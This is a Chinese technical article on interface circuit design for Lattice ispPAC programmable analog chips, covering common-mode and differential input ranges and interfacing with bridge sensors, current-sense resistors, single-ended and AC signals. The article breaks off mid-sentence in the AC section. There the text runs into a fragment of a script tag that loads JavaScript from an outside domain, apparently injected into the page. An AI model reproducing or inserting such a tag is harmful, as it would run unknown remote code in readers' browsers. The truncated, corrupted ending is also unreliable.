ispPAC的接口电路设计

在系统可编程模拟电路(in system progrmmable analog circuit, 简称 isppac )是lattice公司推出的模拟可编程器件。目前主要有5种芯片:isppac10,20,30,80和81。通过开发软件pacdesigner可以设计各种模拟电路;调整电路的参数;实现模拟单元电路的联接,从而获得完整功能的模拟电路。在系统可编程模拟电路可用于工业自动化、电子测量、通信等领域。特别是器件的在系统可编程性能,只要把编程电缆将计算机的并行口和电路板联接起来,就可将电路设计下载至isppac中。设计模拟电路时,isppac的差分输入提供了很大的灵活性。它能与多种信号源接口。本文主要介绍如何设计isppac接口电路。

  输入信号范围

  要掌握设计isppac的接口电路,首先就要知道输入信号在器件的输入端vin+和vin-之间的允许范围。注意isppac系列中不同的型号有着不同的输入信号范围。除了在输入端的最小和最大允许电压之外,另外还有两个相关的电压:共模电压和差分电压。共模电压是指在两个输入端电压的平均值。差分电压是指在两个输入端电压的差值。信号的共模电压是非常重要的,因为它涉及到可以精确测量的差分信号范围。例如isppac10,共模输入范围在+1v到+4v之间。最大差分输入范围是 3v,此时共模电压在两个极限电压的中间,即2.5v。如果把共模电压(cmv)移至2v。那么就导致差分信号的范围减少至 2v。

  与差分信号源的接口电路

  isppac的差分输入使得器件能与平衡输出传感器直接相接。与isppac输入接口的关键是保证传感器的共模值在器件的允许输入范围。平衡输出信号源与isppac的接口电路。在电桥中所有的电阻都标称相等。共模电压是偏置电压的一半,2.5v。允许电桥的输出直接与isppac10相连。信号源是悬浮的,诸如动态麦克风,电感拾音器。在这个直流耦合例子中,信号源必须偏置在可接受的共模电压范围。可以通过由r1到r4的分压电路来设置偏置。vbias=(5v r4)/(r1+r4)。正负信号线通过r2和r3联至偏置电压。

  电流传感器与isppac的接口电路。0-10a的电流输入使得0.1 检测电阻上的压降为0-1v。这个应用显示了差分信号处理的优越性。尽管也可采用其它的方法来进行处理,例如用单端放大器来检测在输入端电阻上的压降,假设电阻的接地端是真正的地。然而对于安培级的电流来说,这通常不能保证,以致产生较大的测量误差。采用所选取的方法,通过检测两个电阻端的实际电压就能避免测量误差。当测量大电流时,电阻端的电压有可能超过isppac30能安全处理的范围。若输入电压低于-0.6v或超过+5.6v,器件内的的输入保护二极管开始工作,分流电流至地或正电源。电阻r2和r3起保护作用,把大电流限制到毫安级。

  与单端信号源的接口

  尽管差分信号在电路设计中有很多优越性,仍然有许多模拟电路采用单端信号。isppac的差分输入端提供了很大的灵活性,也适用与单端输入信号接口。最简单的接口是如果单端信号落在isppac的共模范围。在这种情况下,直接把信号送入isppac差分输入端的一个端口,而另一个输入端接适当的参考电压。适用于isppac10/20/80。输入信号范围在+1v到+4v范围之间。

  使用isppac30时,电路的联接方式如样本所示。因为对于isppac30来说共模输入范围包括地,因此可以把一端接地。在这个电路中,输入信号范围在0v到2.8v范围之内。

  当系统由+5v单电源供电时,经常要求电路能适应满摆幅信号,即0-5v范围。接口电路允许isppac输入接受0-5v信号。允许isppac10/20/80接受0-5v输入,通过接口电路后实际的电压输入范围是1-4v。用于isppac30,通过接口电路实际的电压输入范围是0-2.5v。

  与交流信号的接口

  以上讨论的都是与直流信号的接口,设计模拟电路时,经常要处理时变的交流信号。典型的应用是用来驱动扬声器的音频功率放大器。在音频信号中有用的信息是在20-20khz之间。信号的直流偏置不影响信号的内容。只有信号的交流分量可以通过的接口电路。这个电路是一阶无源高通滤波器。c1阻止信号的直流分量,r1用来把信?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计